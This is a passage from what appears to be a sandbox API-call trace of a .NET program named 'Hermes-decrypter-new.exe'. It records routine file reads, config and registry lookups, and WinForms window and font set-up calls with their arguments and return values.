lpFileSizeHigh=0x19eab4*=0x0) returned 0x8c8f [0142.454] ReadFile (in: hFile=0x300, lpBuffer=0x2f67ac8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19ea70, lpOverlapped=0x0 | out: lpBuffer=0x2f67ac8*, lpNumberOfBytesRead=0x19ea70*=0x1000, lpOverlapped=0x0) returned 1 [0142.462] ReadFile (in: hFile=0x300, lpBuffer=0x2f67ac8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19e91c, lpOverlapped=0x0 | out: lpBuffer=0x2f67ac8*, lpNumberOfBytesRead=0x19e91c*=0x1000, lpOverlapped=0x0) returned 1 [0142.463] ReadFile (in: hFile=0x300, lpBuffer=0x2f67ac8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19e7d0, lpOverlapped=0x0 | out: lpBuffer=0x2f67ac8*, lpNumberOfBytesRead=0x19e7d0*=0x1000, lpOverlapped=0x0) returned 1 [0142.464] ReadFile (in: hFile=0x300, lpBuffer=0x2f67ac8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19e7d0, lpOverlapped=0x0 | out: lpBuffer=0x2f67ac8*, lpNumberOfBytesRead=0x19e7d0*=0x1000, lpOverlapped=0x0) returned 1 [0142.464] ReadFile (in: hFile=0x300, lpBuffer=0x2f67ac8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19e7d0, lpOverlapped=0x0 | out: lpBuffer=0x2f67ac8*, lpNumberOfBytesRead=0x19e7d0*=0x1000, lpOverlapped=0x0) returned 1 [0142.465] ReadFile (in: hFile=0x300, lpBuffer=0x2f67ac8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19e708, lpOverlapped=0x0 | out: lpBuffer=0x2f67ac8*, lpNumberOfBytesRead=0x19e708*=0x1000, lpOverlapped=0x0) returned 1 [0142.467] ReadFile (in: hFile=0x300, lpBuffer=0x2f67ac8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19e88c, lpOverlapped=0x0 | out: lpBuffer=0x2f67ac8*, lpNumberOfBytesRead=0x19e88c*=0x1000, lpOverlapped=0x0) returned 1 [0142.468] ReadFile (in: hFile=0x300, lpBuffer=0x2f67ac8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19e798, lpOverlapped=0x0 | out: lpBuffer=0x2f67ac8*, lpNumberOfBytesRead=0x19e798*=0x1000, lpOverlapped=0x0) returned 1 [0142.468] ReadFile (in: hFile=0x300, lpBuffer=0x2f67ac8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19e798, lpOverlapped=0x0 | out: lpBuffer=0x2f67ac8*, lpNumberOfBytesRead=0x19e798*=0xc8f, lpOverlapped=0x0) returned 1 [0142.469] ReadFile (in: hFile=0x300, lpBuffer=0x2f67ac8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19e85c, lpOverlapped=0x0 | out: lpBuffer=0x2f67ac8*, lpNumberOfBytesRead=0x19e85c*=0x0, lpOverlapped=0x0) returned 1 [0142.470] GetFullPathNameW (in: lpFileName="C:\\FD1HVy\\Hermes-decrypter-new.exe.config", nBufferLength=0x105, lpBuffer=0x19e754, lpFilePart=0x0 | out: lpBuffer="C:\\FD1HVy\\Hermes-decrypter-new.exe.config", lpFilePart=0x0) returned 0x29 [0142.470] CoTaskMemAlloc (cb=0x20c) returned 0xef25b8 [0142.470] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xef25b8, nSize=0x104 | out: lpFilename="C:\\FD1HVy\\Hermes-decrypter-new.exe" (normalized: "c:\\fd1hvy\\hermes-decrypter-new.exe")) returned 0x22 [0142.470] CoTaskMemFree (pv=0xef25b8) [0142.470] GetFullPathNameW (in: lpFileName="C:\\FD1HVy\\Hermes-decrypter-new.exe", nBufferLength=0x105, lpBuffer=0x19e778, lpFilePart=0x0 | out: lpBuffer="C:\\FD1HVy\\Hermes-decrypter-new.exe", lpFilePart=0x0) returned 0x22 [0142.470] GetCurrentProcess () returned 0xffffffff [0142.470] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x19ec08 | out: TokenHandle=0x19ec08*=0x300) returned 1 [0142.471] GetCurrentProcess () returned 0xffffffff [0142.471] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x19ec08 | out: TokenHandle=0x19ec08*=0x304) returned 1 [0142.471] GetCurrentProcess () returned 0xffffffff [0142.471] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x19eac0 | out: TokenHandle=0x19eac0*=0x308) returned 1 [0142.471] GetFileAttributesExW (in: lpFileName="C:\\FD1HVy\\Hermes-decrypter-new.exe.config" (normalized: "c:\\fd1hvy\\hermes-decrypter-new.exe.config"), fInfoLevelId=0x0, lpFileInformation=0x19eab8 | out: lpFileInformation=0x19eab8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0142.472] GetFullPathNameW (in: lpFileName="C:\\FD1HVy\\Hermes-decrypter-new.exe.config", nBufferLength=0x105, lpBuffer=0x19e518, lpFilePart=0x0 | out: lpBuffer="C:\\FD1HVy\\Hermes-decrypter-new.exe.config", lpFilePart=0x0) returned 0x29 [0142.472] GetFileAttributesExW (in: lpFileName="C:\\FD1HVy\\Hermes-decrypter-new.exe.config" (normalized: "c:\\fd1hvy\\hermes-decrypter-new.exe.config"), fInfoLevelId=0x0, lpFileInformation=0x19eac0 | out: lpFileInformation=0x19eac0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0142.472] GetCurrentProcess () returned 0xffffffff [0142.472] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x19ec08 | out: TokenHandle=0x19ec08*=0x30c) returned 1 [0142.473] GetCurrentProcess () returned 0xffffffff [0142.473] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x19ec08 | out: TokenHandle=0x19ec08*=0x310) returned 1 [0142.481] GetCurrentProcess () returned 0xffffffff [0142.482] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x19ea68 | out: TokenHandle=0x19ea68*=0x314) returned 1 [0142.532] GetCurrentProcess () returned 0xffffffff [0142.532] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x19ea78 | out: TokenHandle=0x19ea78*=0x318) returned 1 [0142.535] CoTaskMemAlloc (cb=0x9d) returned 0xf2b240 [0142.541] CoTaskMemAlloc (cb=0xe) returned 0xee9398 [0142.544] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x0 [0142.547] LoadLibraryW (lpLibFileName="comctl32.dll") returned 0x6ff00000 [0142.550] GetCurrentProcess () returned 0xffffffff [0142.551] GetCurrentProcess () returned 0xffffffff [0142.552] GetCurrentProcess () returned 0xffffffff [0142.553] GetCurrentProcess () returned 0xffffffff [0142.564] CoTaskMemAlloc (cb=0xe) returned 0xea11f8 [0142.565] CoTaskMemAlloc (cb=0x12) returned 0xee32c8 [0142.567] AdjustWindowRectEx (in: lpRect=0x19ee98, dwStyle=0x56cf0000, bMenu=0, dwExStyle=0x50081 | out: lpRect=0x19ee98) returned 1 [0142.568] GetCurrentProcess () returned 0xffffffff [0142.569] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xfffffffe, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x19edac, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x19edac*=0x320) returned 1 [0142.576] GetCurrentActCtx (in: lphActCtx=0x19ed0c | out: lphActCtx=0x19ed0c*=0x0) returned 1 [0142.576] ActivateActCtx (in: hActCtx=0xef1264, lpCookie=0x19ed1c | out: hActCtx=0xef1264, lpCookie=0x19ed1c) returned 1 [0142.576] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x0 [0142.626] LoadLibraryW (lpLibFileName="comctl32.dll") returned 0x6fcf0000 [0142.630] GetCurrentProcess () returned 0xffffffff [0142.631] GetCurrentProcess () returned 0xffffffff [0142.631] GetCurrentProcess () returned 0xffffffff [0142.632] GetCurrentProcess () returned 0xffffffff [0142.633] GetCurrentProcess () returned 0xffffffff [0142.638] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DefWindowProcW", cchWideChar=14, lpMultiByteStr=0x19ebd0, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DefWindowProcW\x13q¶¦\\\x15ðù¼s°ò\x19", lpUsedDefaultChar=0x0) returned 14 [0142.638] GetProcAddress (hModule=0x74b70000, lpProcName="DefWindowProcW") returned 0x74600140 [0142.641] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0142.643] CoTaskMemAlloc (cb=0x5c) returned 0xeeac78 [0142.643] RegisterClassW (lpWndClass=0x19ebc0) returned 0xc16c [0142.643] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.Window.8.app.0.141b42a_r11_ad1", lpWindowName=0x0, dwStyle=0x2010000, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0xfffffffd, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x50124 [0142.644] SetWindowLongW (hWnd=0x50124, nIndex=-4, dwNewLong=1952448832) returned 88361574 [0142.645] GetWindowLongW (hWnd=0x50124, nIndex=-4) returned 1952448832 [0142.646] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\.NETFramework", ulOptions=0x0, samDesired=0x20019, phkResult=0x19e3e0 | out: phkResult=0x19e3e0*=0x338) returned 0x0 [0142.647] RegQueryValueExW (in: hKey=0x338, lpValueName="DbgJITDebugLaunchSetting", lpReserved=0x0, lpType=0x19e400, lpData=0x0, lpcbData=0x19e3fc*=0x0 | out: lpType=0x19e400*=0x0, lpData=0x0, lpcbData=0x19e3fc*=0x0) returned 0x2 [0142.647] RegQueryValueExW (in: hKey=0x338, lpValueName="DbgManagedDebugger", lpReserved=0x0, lpType=0x19e400, lpData=0x0, lpcbData=0x19e3fc*=0x0 | out: lpType=0x19e400*=0x0, lpData=0x0, lpcbData=0x19e3fc*=0x0) returned 0x2 [0142.647] RegCloseKey (hKey=0x338) returned 0x0 [0142.648] SetWindowLongW (hWnd=0x50124, nIndex=-4, dwNewLong=88361614) returned 1952448832 [0142.648] GetWindowLongW (hWnd=0x50124, nIndex=-4) returned 88361614 [0142.648] GetWindowLongW (hWnd=0x50124, nIndex=-16) returned 113311744 [0142.648] RegisterClipboardFormatW (lpszFormat="WinFormsMouseEnter") returned 0xc16d [0142.649] RegisterClipboardFormatW (lpszFormat="WinFormsUnSubclass") returned 0xc16e [0142.649] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x50124, Msg=0x81, wParam=0x0, lParam=0x19e730) returned 0x1 [0142.649] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x50124, Msg=0x83, wParam=0x0, lParam=0x19e71c) returned 0x0 [0142.651] GetCurrentProcess () returned 0xffffffff [0142.652] GetCurrentProcess () returned 0xffffffff [0142.653] GetCurrentProcess () returned 0xffffffff [0142.653] GetCurrentProcess () returned 0xffffffff [0142.654] GetCurrentProcess () returned 0xffffffff [0142.656] GetCurrentProcess () returned 0xffffffff [0142.657] GetCurrentProcess () returned 0xffffffff [0142.658] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x50124, Msg=0x1, wParam=0x0, lParam=0x19e730) returned 0x0 [0142.658] GetClientRect (in: hWnd=0x50124, lpRect=0x19e418 | out: lpRect=0x19e418) returned 1 [0142.658] GetWindowRect (in: hWnd=0x50124, lpRect=0x19e418 | out: lpRect=0x19e418) returned 1 [0142.659] GetParent (hWnd=0x50124) returned 0x0 [0142.660] DeactivateActCtx (dwFlags=0x0, ulCookie=0x13bc0001) returned 1 [0142.660] CoTaskMemAlloc (cb=0x3484) returned 0xef8da0 [0143.392] CoTaskMemAlloc (cb=0xf) returned 0xef7f30 [0143.394] CoTaskMemAlloc (cb=0xf) returned 0xef7e88 [0143.399] AdjustWindowRectEx (in: lpRect=0x19e168, dwStyle=0x56010000, bMenu=0, dwExStyle=0x10000 | out: lpRect=0x19e168) returned 1 [0143.399] AdjustWindowRectEx (in: lpRect=0x19e17c, dwStyle=0x5601008d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e17c) returned 1 [0143.401] GetSystemDefaultLCID () returned 0x409 [0143.401] GetStockObject (i=17) returned 0xa01c1 [0143.402] GetObjectW (in: h=0xa01c1, c=92, pv=0x19dec4 | out: pv=0x19dec4) returned 92 [0143.402] GetDC (hWnd=0x0) returned 0x10105d6 [0143.454] GetCurrentProcess () returned 0xffffffff [0143.454] GetCurrentProcess () returned 0xffffffff [0143.455] GetCurrentProcess () returned 0xffffffff [0143.455] GetCurrentProcess () returned 0xffffffff [0143.456] GetCurrentProcess () returned 0xffffffff [0143.457] GdiplusStartup (in: token=0x2955b08, input=0x19d478, output=0x19d4c8 | out: token=0x2955b08, output=0x19d4c8) returned 0x0 [0143.460] CoTaskMemAlloc (cb=0x5c) returned 0xeeadb0 [0143.460] GdipCreateFontFromLogfontW (hdc=0x10105d6, logfont=0xeeadb0, font=0x19df8c) returned 0x0 [0143.502] GetCurrentProcess () returned 0xffffffff [0143.502] GetCurrentProcess () returned 0xffffffff [0143.503] GetCurrentProcess () returned 0xffffffff [0143.504] GetCurrentProcess () returned 0xffffffff [0143.505] GetCurrentProcess () returned 0xffffffff [0143.522] GetCurrentProcess () returned 0xffffffff [0143.523] GetCurrentProcess () returned 0xffffffff [0143.599] CoTaskMemAlloc (cb=0x5c) returned 0xeeac10 [0143.599] CoTaskMemFree (pv=0xeeac10) [0143.599] CoTaskMemAlloc (cb=0x5c) returned 0xeeace0 [0143.599] CoTaskMemFree (pv=0xeeace0) [0143.599] GdipGetFontUnit (font=0x57f1f08, unit=0x19df54) returned 0x0 [0143.599] GdipGetFontSize (font=0x57f1f08, size=0x19df58) returned 0x0 [0143.599] GdipGetFontStyle (font=0x57f1f08, style=0x19df50) returned 0x0 [0143.600] GdipGetFamily (font=0x57f1f08, family=0x19df4c) returned 0x0 [0143.600] GdipGetFontSize (font=0x57f1f08, size=0x2f84fe0) returned 0x0 [0143.600] ReleaseDC (hWnd=0x0, hDC=0x10105d6) returned 1 [0143.600] GetDC (hWnd=0x0) returned 0x60100ce [0143.601] GdipCreateFromHDC (hdc=0x60100ce, graphics=0x19df68) returned 0x0 [0143.601] GetCurrentProcess () returned 0xffffffff [0143.602] GetCurrentProcess () returned 0xffffffff [0143.603] GdipGetDpiY (graphics=0x690f260, dpi=0x2f850bc) returned 0x0 [0143.603] GdipGetFontHeight (font=0x57f1f08, graphics=0x690f260, height=0x19df60) returned 0x0 [0143.603] GdipGetEmHeight (family=0x57f8ad8, style=0, EmHeight=0x19df68) returned 0x0 [0143.603] GdipGetLineSpacing (family=0x57f8ad8, style=0, LineSpacing=0x19df68) returned 0x0 [0143.604] GdipDeleteGraphics (graphics=0x690f260) returned 0x0 [0143.604] ReleaseDC (hWnd=0x0, hDC=0x60100ce) returned 1 [0143.604] GdipCreateFont (fontFamily=0x57f8ad8, emSize=0x41040000, style=0, unit=0x3, font=0x2f850d8) returned 0x0 [0143.604] GdipGetFontSize (font=0x57fef48, size=0x2f850dc) returned 0x0 [0143.604] GdipDeleteFont (font=0x57f1f08) returned 0x0 [0143.605] GetDC (hWnd=0x0) returned 0x60100ce [0143.605] GdipCreateFromHDC (hdc=0x60100ce, graphics=0x19dfc0) returned 0x0 [0143.605] GdipGetFontHeight (font=0x57fef48, graphics=0x690f260, height=0x19dfb8) returned 0x0 [0143.605] GdipDeleteGraphics (graphics=0x690f260) returned 0x0 [0143.605] ReleaseDC (hWnd=0x0, hDC=0x60100ce) returned 1 [0143.605] ceil (_X=0xc0000000) returned 0x402 [0143.663] GdipGetFamilyName (in: family=0x57f8ad8, name=0x19dec4, language=0x409 | out: name="Microsoft Sans Serif") returned 0x0 [0143.664] CreateCompatibleDC (hdc=0x0) returned 0x8e0106dd [0143.664] GetCurrentObject (hdc=0x8e0106dd, type=0x1) returned 0xb00017 [0143.664] GetCurrentObject (hdc=0x8e0106dd, type=0x2) returned 0x900010 [0143.664] GetCurrentObject (hdc=0x8e0106dd, type=0x7) returned 0x85000f [0143.664] GetCurrentObject (hdc=0x8e0106dd, type=0x6) returned 0x8a01c2 [0143.665] SaveDC (hdc=0x8e0106dd) returned 1 [0143.665] GetDeviceCaps (hdc=0x8e0106dd, index=90) returned 96 [0143.665] CoTaskMemAlloc (cb=0x5c) returned 0xeeae80 [0143.665] CreateFontIndirectW (lplf=0xeeae80) returned 0x340a0713 [0143.665] CoTaskMemFree (pv=0xeeae80) [0143.666] GetObjectW (in: h=0x340a0713, c=92, pv=0x19de88 | out: pv=0x19de88) returned 92 [0143.666] GetCurrentObject (hdc=0x8e0106dd, type=0x6) returned 0x8a01c2 [0143.666] GetObjectW (in: h=0x8a01c2, c=92, pv=0x19ddf0 | out: pv=0x19ddf0) returned 92 [0143.666] SelectObject (hdc=0x8e0106dd, h=0x340a0713) returned 0x8a01c2 [0143.666] GetMapMode (hdc=0x8e0106dd) returned 1 [0143.667] GetTextMetricsW (in: hdc=0x8e0106dd, lptm=0x19deb8 | out: lptm=0x19deb8) returned 1 [0143.667] DrawTextExW (in: hdc=0x8e0106dd, lpchText="j^", cchText=2, lprc=0x19dfc4, format=0x420, lpdtp=0x2f856c0 | out: lpchText="j^", lprc=0x19dfc4) returned 13 [0143.667] GetCurrentProcess () returned 0xffffffff [0143.668] GetCurrentProcess () returned 0xffffffff [0143.669] GetCurrentProcess () returned 0xffffffff [0143.669] GetCurrentProcess () returned 0xffffffff [0143.708] GetSystemMetrics (nIndex=5) returned 1 [0143.708] GetSystemMetrics (nIndex=6) returned 1 [0143.709] DrawTextExW (in: hdc=0x8e0106dd, lpchText="j^", cchText=2, lprc=0x19dfbc, format=0x420, lpdtp=0x2f857dc | out: lpchText="j^", lprc=0x19dfbc) returned 13 [0143.709] GetSystemMetrics (nIndex=5) returned 1 [0143.709] GetSystemMetrics (nIndex=6) returned 1 [0143.709] AdjustWindowRectEx (in: lpRect=0x19e180, dwStyle=0x56210242, bMenu=0, dwExStyle=0x200 | out: lpRect=0x19e180) returned 1 [0143.709] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0143.709] AdjustWindowRectEx (in: lpRect=0x19e17c, dwStyle=0x5601008d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e17c) returned 1 [0143.710] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0143.710] AdjustWindowRectEx (in: lpRect=0x19e17c, dwStyle=0x5601008d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e17c) returned 1 [0143.710] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0143.710] AdjustWindowRectEx (in: lpRect=0x19e17c, dwStyle=0x5601008d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e17c) returned 1 [0143.710] AdjustWindowRectEx (in: lpRect=0x19e178, dwStyle=0x5601000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e178) returned 1 [0143.710] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0143.710] AdjustWindowRectEx (in: lpRect=0x19e168, dwStyle=0x56010000, bMenu=0, dwExStyle=0x10000 | out: lpRect=0x19e168) returned 1 [0143.711] GetDC (hWnd=0x0) returned 0x60100ce [0143.711] GdipCreateFromHDC (hdc=0x60100ce, graphics=0x19e050) returned 0x0 [0143.711] GdipGetFontHeight (font=0x57fef48, graphics=0x690f260, height=0x19e048) returned 0x0 [0143.711] GdipDeleteGraphics (graphics=0x690f260) returned 0x0 [0143.711] ReleaseDC (hWnd=0x0, hDC=0x60100ce) returned 1 [0143.711] GetSystemMetrics (nIndex=5) returned 1 [0143.711] GetSystemMetrics (nIndex=6) returned 1 [0143.712] AdjustWindowRectEx (in: lpRect=0x19e178, dwStyle=0x560101c0, bMenu=0, dwExStyle=0x200 | out: lpRect=0x19e178) returned 1 [0143.712] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0143.712] AdjustWindowRectEx (in: lpRect=0x19e17c, dwStyle=0x5601008d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e17c) returned 1 [0143.712] GetDC (hWnd=0x0) returned 0x60100ce [0143.712] GdipCreateFromHDC (hdc=0x60100ce, graphics=0x19e050) returned 0x0 [0143.712] GdipGetFontHeight (font=0x57fef48, graphics=0x690f260, height=0x19e048) returned 0x0 [0143.712] GdipDeleteGraphics (graphics=0x690f260) returned 0x0 [0143.712] ReleaseDC (hWnd=0x0, hDC=0x60100ce) returned 1 [0143.712] GetSystemMetrics (nIndex=5) returned 1 [0143.712] GetSystemMetrics (nIndex=6) returned 1 [0143.713] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0143.713] AdjustWindowRectEx (in: lpRect=0x19e178, dwStyle=0x560101c0, bMenu=0, dwExStyle=0x200 | out: lpRect=0x19e178) returned 1 [0143.713] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0143.713] AdjustWindowRectEx (in: lpRect=0x19e17c, dwStyle=0x5601008d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e17c) returned 1 [0143.713] GetDC (hWnd=0x0) returned 0x60100ce [0143.713] GdipCreateFromHDC (hdc=0x60100ce, graphics=0x19e050) returned 0x0 [0143.713] GdipGetFontHeight (font=0x57fef48, graphics=0x690f260, height=0x19e048) returned 0x0 [0143.713] GdipDeleteGraphics (graphics=0x690f260) returned 0x0 [0143.713] ReleaseDC (hWnd=0x0, hDC=0x60100ce) returned 1 [0143.714] GetSystemMetrics (nIndex=5) returned 1 [0143.714] GetSystemMetrics (nIndex=6) returned 1 [0143.714] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0143.714] AdjustWindowRectEx (in: lpRect=0x19e178, dwStyle=0x560101c0, bMenu=0, dwExStyle=0x200 | out: lpRect=0x19e178) returned 1 [0143.714] GetDC (hWnd=0x0) returned 0x60100ce [0143.714] GdipCreateFromHDC (hdc=0x60100ce, graphics=0x19e050) returned 0x0 [0143.714] GdipGetFontHeight (font=0x57fef48, graphics=0x690f260, height=0x19e048) returned 0x0 [0143.714] GdipDeleteGraphics (graphics=0x690f260) returned 0x0 [0143.714] ReleaseDC (hWnd=0x0, hDC=0x60100ce) returned 1 [0143.714] GetSystemMetrics (nIndex=5) returned 1 [0143.714] GetSystemMetrics (nIndex=6) returned 1 [0143.714] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0143.715] AdjustWindowRectEx (in: lpRect=0x19e178, dwStyle=0x560101c0, bMenu=0, dwExStyle=0x200 | out: lpRect=0x19e178) returned 1 [0143.715] GetDC (hWnd=0x0) returned 0x60100ce [0143.715] GdipCreateFromHDC (hdc=0x60100ce, graphics=0x19e050) returned 0x0 [0143.715] GdipGetFontHeight (font=0x57fef48, graphics=0x690f260, height=0x19e048) returned 0x0 [0143.715] GdipDeleteGraphics (graphics=0x690f260) returned 0x0 [0143.715] ReleaseDC (hWnd=0x0, hDC=0x60100ce) returned 1 [0143.715] GetSystemMetrics (nIndex=5) returned 1 [0143.715] GetSystemMetrics (nIndex=6) returned 1 [0143.715] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0143.715] AdjustWindowRectEx (in: lpRect=0x19e178, dwStyle=0x560101c0, bMenu=0, dwExStyle=0x200 | out: lpRect=0x19e178) returned 1 [0143.715] GetDC (hWnd=0x0) returned 0x60100ce [0143.715] GdipCreateFromHDC (hdc=0x60100ce, graphics=0x19e050) returned 0x0 [0143.716] GdipGetFontHeight (font=0x57fef48, graphics=0x690f260, height=0x19e048) returned 0x0 [0143.716] GdipDeleteGraphics (graphics=0x690f260) returned 0x0 [0143.716] ReleaseDC (hWnd=0x0, hDC=0x60100ce) returned 1 [0143.716] GetSystemMetrics (nIndex=5) returned 1 [0143.716] GetSystemMetrics (nIndex=6) returned 1 [0143.716] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0143.716] AdjustWindowRectEx (in: lpRect=0x19e178, dwStyle=0x560101c0, bMenu=0, dwExStyle=0x200 | out: lpRect=0x19e178) returned 1 [0143.716] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0143.716] AdjustWindowRectEx (in: lpRect=0x19e178, dwStyle=0x5601000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e178) returned 1 [0143.717] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0143.717] AdjustWindowRectEx (in: lpRect=0x19e168, dwStyle=0x56010000, bMenu=0, dwExStyle=0x10000 | out: lpRect=0x19e168) returned 1 [0143.717] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0143.717] AdjustWindowRectEx (in: lpRect=0x19e17c, dwStyle=0x5601008d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e17c) returned 1 [0143.717] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0143.717] AdjustWindowRectEx (in: lpRect=0x19e17c, dwStyle=0x5601008d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e17c) returned 1 [0143.717] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0143.717] AdjustWindowRectEx (in: lpRect=0x19e17c, dwStyle=0x5601008d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e17c) returned 1 [0143.717] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0143.717] AdjustWindowRectEx (in: lpRect=0x19e168, dwStyle=0x56010000, bMenu=0, dwExStyle=0x10000 | out: lpRect=0x19e168) returned 1 [0143.718] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0143.718] AdjustWindowRectEx (in: lpRect=0x19e17c, dwStyle=0x5601008d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e17c) returned 1 [0143.718] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0143.718] AdjustWindowRectEx (in: lpRect=0x19e17c, dwStyle=0x5601008d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e17c) returned 1 [0143.718] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0143.718] AdjustWindowRectEx (in: lpRect=0x19e17c, dwStyle=0x5601008d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e17c) returned 1 [0143.718] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0143.718] AdjustWindowRectEx (in: lpRect=0x19e168, dwStyle=0x56010000, bMenu=0, dwExStyle=0x10000 | out: lpRect=0x19e168) returned 1 [0143.718] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0143.719] AdjustWindowRectEx (in: lpRect=0x19e17c, dwStyle=0x5601008d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e17c) returned 1 [0143.735] AdjustWindowRectEx (in: lpRect=0x19e180, dwStyle=0x56010000, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e180) returned 1 [0143.735] GetDC (hWnd=0x0) returned 0x60100ce [0143.735] GdipCreateFromHDC (hdc=0x60100ce, graphics=0x19e050) returned 0x0 [0143.736] GdipGetFontHeight (font=0x57fef48, graphics=0x690f260, height=0x19e048) returned 0x0 [0143.736] GdipDeleteGraphics (graphics=0x690f260) returned 0x0 [0143.736] ReleaseDC (hWnd=0x0, hDC=0x60100ce) returned 1 [0143.736] GetSystemMetrics (nIndex=5) returned 1 [0143.736] GetSystemMetrics (nIndex=6) returned 1 [0143.736] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0143.736] AdjustWindowRectEx (in: lpRect=0x19e178, dwStyle=0x560101c0, bMenu=0, dwExStyle=0x200 | out: lpRect=0x19e178) returned 1 [0143.736] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0143.736] AdjustWindowRectEx (in: lpRect=0x19e178, dwStyle=0x5601000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e178) returned 1 [0143.736] GetDC (hWnd=0x0) returned 0x60100ce [0143.736] GdipCreateFromHDC (hdc=0x60100ce, graphics=0x19e050) returned 0x0 [0143.737] GdipGetFontHeight (font=0x57fef48, graphics=0x690f260, height=0x19e048) returned 0x0 [0143.737] GdipDeleteGraphics (graphics=0x690f260) returned 0x0 [0143.737] ReleaseDC (hWnd=0x0, hDC=0x60100ce) returned 1 [0143.737] GetSystemMetrics (nIndex=5) returned 1 [0143.737] GetSystemMetrics (nIndex=6) returned 1 [0143.737] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0143.737] AdjustWindowRectEx (in: lpRect=0x19e178, dwStyle=0x560101c0, bMenu=0, dwExStyle=0x200 | out: lpRect=0x19e178) returned 1 [0143.737] 